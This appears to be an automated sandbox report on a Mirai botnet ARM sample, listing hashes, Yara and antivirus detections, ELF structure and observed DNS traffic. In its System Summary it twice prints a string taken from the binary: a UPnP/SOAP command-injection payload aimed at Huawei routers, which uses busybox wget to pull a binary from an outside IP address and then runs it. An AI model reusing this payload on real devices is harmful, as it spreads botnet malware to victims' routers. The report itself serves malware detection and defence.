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Linux Analysis Report
arm6.elf

Overview

General Information

Sample name:arm6.elf
Analysis ID:1543089
MD5:bfb074fb510210719484239e098dba58
SHA1:6706478695d97ad19aa3aceedb07aa731be2b2fb
SHA256:fcab43b12ce1b29da778a45e77a4ab81eba3ed9820bb03cf40c499bb9026afae
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:80
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1543089
Start date and time:2024-10-27 08:27:10 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 34s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm6.elf
Detection:MAL
Classification:mal80.troj.linELF@0/0@2/0
  • VT rate limit hit for: daisy.ubuntu.com
Command:/tmp/arm6.elf
PID:5528
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • arm6.elf (PID: 5528, Parent: 5451, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm6.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
arm6.elfJoeSecurity_Mirai_9Yara detected MiraiJoe Security
    arm6.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      arm6.elfLinux_Trojan_Mirai_0bce98a2unknownunknown
      • 0xeae8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
      arm6.elfMirai_Botnet_MalwareDetects Mirai Botnet MalwareFlorian Roth
      • 0xea8c:$x2: /dev/misc/watchdog
      • 0xea7c:$x3: /dev/watchdog
      • 0xeaf4:$s5: HWCLVGAJ
      SourceRuleDescriptionAuthorStrings
      5528.1.00007ff5a4017000.00007ff5a4027000.r-x.sdmpJoeSecurity_Mirai_9Yara detected MiraiJoe Security
        5528.1.00007ff5a4017000.00007ff5a4027000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
          5528.1.00007ff5a4017000.00007ff5a4027000.r-x.sdmpLinux_Trojan_Mirai_0bce98a2unknownunknown
          • 0xeae8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
          5528.1.00007ff5a4017000.00007ff5a4027000.r-x.sdmpMirai_Botnet_MalwareDetects Mirai Botnet MalwareFlorian Roth
          • 0xea8c:$x2: /dev/misc/watchdog
          • 0xea7c:$x3: /dev/watchdog
          • 0xeaf4:$s5: HWCLVGAJ
          Process Memory Space: arm6.elf PID: 5528JoeSecurity_Mirai_6Yara detected MiraiJoe Security
            No Suricata rule has matched

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: arm6.elfAvira: detected
            Source: arm6.elfReversingLabs: Detection: 60%
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
            Source: arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

            System Summary

            barindex
            Source: arm6.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
            Source: arm6.elf, type: SAMPLEMatched rule: Detects Mirai Botnet Malware Author: Florian Roth
            Source: 5528.1.00007ff5a4017000.00007ff5a4027000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
            Source: 5528.1.00007ff5a4017000.00007ff5a4027000.r-x.sdmp, type: MEMORYMatched rule: Detects Mirai Botnet Malware Author: Florian Roth
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.23.108.200 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.23.108.200 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
            Source: ELF static info symbol of initial sample.symtab present: no
            Source: arm6.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
            Source: arm6.elf, type: SAMPLEMatched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
            Source: 5528.1.00007ff5a4017000.00007ff5a4027000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
            Source: 5528.1.00007ff5a4017000.00007ff5a4027000.r-x.sdmp, type: MEMORYMatched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
            Source: classification engineClassification label: mal80.troj.linELF@0/0@2/0
            Source: /tmp/arm6.elf (PID: 5528)Queries kernel information via 'uname': Jump to behavior
            Source: arm6.elf, 5528.1.000055ab3318a000.000055ab332b8000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
            Source: arm6.elf, 5528.1.000055ab3318a000.000055ab332b8000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
            Source: arm6.elf, 5528.1.00007ffd8e0f8000.00007ffd8e119000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
            Source: arm6.elf, 5528.1.00007ffd8e0f8000.00007ffd8e119000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.elf
            Source: arm6.elf, 5528.1.00007ffd8e0f8000.00007ffd8e119000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: arm6.elf, type: SAMPLE
            Source: Yara matchFile source: 5528.1.00007ff5a4017000.00007ff5a4027000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm6.elf PID: 5528, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: arm6.elf, type: SAMPLE
            Source: Yara matchFile source: 5528.1.00007ff5a4017000.00007ff5a4027000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm6.elf PID: 5528, type: MEMORYSTR
            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery
            Remote ServicesData from Local System1
            Non-Application Layer Protocol
            Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
            Application Layer Protocol
            Exfiltration Over BluetoothNetwork Denial of Service
            No configs have been found
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand
            SourceDetectionScannerLabelLink
            arm6.elf61%ReversingLabsLinux.Trojan.Mirai
            arm6.elf100%AviraEXP/ELF.Gafgyt.X
            No Antivirus matches
            No Antivirus matches
            SourceDetectionScannerLabelLink
            http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
            http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe
            NameIPActiveMaliciousAntivirus DetectionReputation
            daisy.ubuntu.com
            162.213.35.24
            truefalse
              unknown
              NameSourceMaliciousAntivirus DetectionReputation
              http://schemas.xmlsoap.org/soap/encoding/arm6.elffalse
              • URL Reputation: safe
              unknown
              http://schemas.xmlsoap.org/soap/envelope/arm6.elffalse
              • URL Reputation: safe
              unknown
              No contacted IP infos
              No context
              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              daisy.ubuntu.comla.bot.m68k.elfGet hashmaliciousUnknownBrowse
              • 162.213.35.25
              la.bot.arm7.elfGet hashmaliciousUnknownBrowse
              • 162.213.35.25
              la.bot.arm6.elfGet hashmaliciousUnknownBrowse
              • 162.213.35.24
              la.bot.mips.elfGet hashmaliciousUnknownBrowse
              • 162.213.35.25
              kkkarm5.elfGet hashmaliciousUnknownBrowse
              • 162.213.35.24
              kkkarm7.elfGet hashmaliciousUnknownBrowse
              • 162.213.35.24
              kkkarm6.elfGet hashmaliciousUnknownBrowse
              • 162.213.35.24
              arm5.elfGet hashmaliciousUnknownBrowse
              • 162.213.35.25
              FBI.mpsl.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.24
              FBI.mips64.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.24
              No context
              No context
              No context
              No created / dropped files found
              File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
              Entropy (8bit):6.0464713891503665
              TrID:
              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
              File name:arm6.elf
              File size:62'984 bytes
              MD5:bfb074fb510210719484239e098dba58
              SHA1:6706478695d97ad19aa3aceedb07aa731be2b2fb
              SHA256:fcab43b12ce1b29da778a45e77a4ab81eba3ed9820bb03cf40c499bb9026afae
              SHA512:2dc8fa6e4dc40e52d84b0ca48069b053beffa6c99e704d48eb2d7c74e3c83f134d0a50b744f4813b64ba13e63bdb4471e007a11df86cdd9a3f2012a9a1fc8340
              SSDEEP:1536:4UnrdBnwI7JD8CQcI5r8LAlhzQI8iuH3v1Gn:hFwkD8cgrCrH3v1G
              TLSH:A4530856F8818E11C5D412BAFE2E118D331767B8E2DF7212DD206F247B8A86F0E77916
              File Content Preview:.ELF..............(.....T...4...(.......4. ...(.....................................................$...P...........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../...............-.@0....S

              ELF header

              Class:ELF32
              Data:2's complement, little endian
              Version:1 (current)
              Machine:ARM
              Version Number:0x1
              Type:EXEC (Executable file)
              OS/ABI:UNIX - System V
              ABI Version:0
              Entry Point Address:0x8154
              Flags:0x4000002
              ELF Header Size:52
              Program Header Offset:52
              Program Header Size:32
              Number of Program Headers:3
              Section Header Offset:62504
              Section Header Size:40
              Number of Section Headers:12
              Header String Table Index:11
              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
              NULL0x00x00x00x00x0000
              .initPROGBITS0x80940x940x100x00x6AX004
              .textPROGBITS0x80b00xb00xe6800x00x6AX0016
              .finiPROGBITS0x167300xe7300x100x00x6AX004
              .rodataPROGBITS0x167400xe7400x9500x00x2A004
              .init_arrayINIT_ARRAY0x1f0940xf0980x40x00x3WA004
              .fini_arrayFINI_ARRAY0x1f0980xf09c0x40x00x3WA004
              .gotPROGBITS0x1f0a00xf0a40x740x40x3WA004
              .dataPROGBITS0x1f1140xf1180x2a00x00x3WA004
              .bssNOBITS0x1f3b40xf3b80x25300x00x3WA004
              .ARM.attributesARM_ATTRIBUTES0x00xf3b80x100x00x0001
              .shstrtabSTRTAB0x00xf3c80x5d0x00x0001
              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
              LOAD0x00x80000x80000xf0900xf0906.06530x5R E0x8000.init .text .fini .rodata
              LOAD0xf0940x1f0940x1f0900x3240xa8504.20230x6RW 0x8000.init_array .fini_array .got .data .bss
              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
              TimestampSource PortDest PortSource IPDest IP
              Oct 27, 2024 08:28:03.010143042 CET4743353192.168.2.141.1.1.1
              Oct 27, 2024 08:28:03.010191917 CET3913453192.168.2.141.1.1.1
              Oct 27, 2024 08:28:03.135418892 CET53391341.1.1.1192.168.2.14
              Oct 27, 2024 08:28:03.135591030 CET53474331.1.1.1192.168.2.14
              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
              Oct 27, 2024 08:28:03.010143042 CET192.168.2.141.1.1.10x2889Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
              Oct 27, 2024 08:28:03.010191917 CET192.168.2.141.1.1.10xae9Standard query (0)daisy.ubuntu.com28IN (0x0001)false
              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
              Oct 27, 2024 08:28:03.135591030 CET1.1.1.1192.168.2.140x2889No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
              Oct 27, 2024 08:28:03.135591030 CET1.1.1.1192.168.2.140x2889No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

              System Behavior

              Start time (UTC):07:28:01
              Start date (UTC):27/10/2024
              Path:/tmp/arm6.elf
              Arguments:/tmp/arm6.elf
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1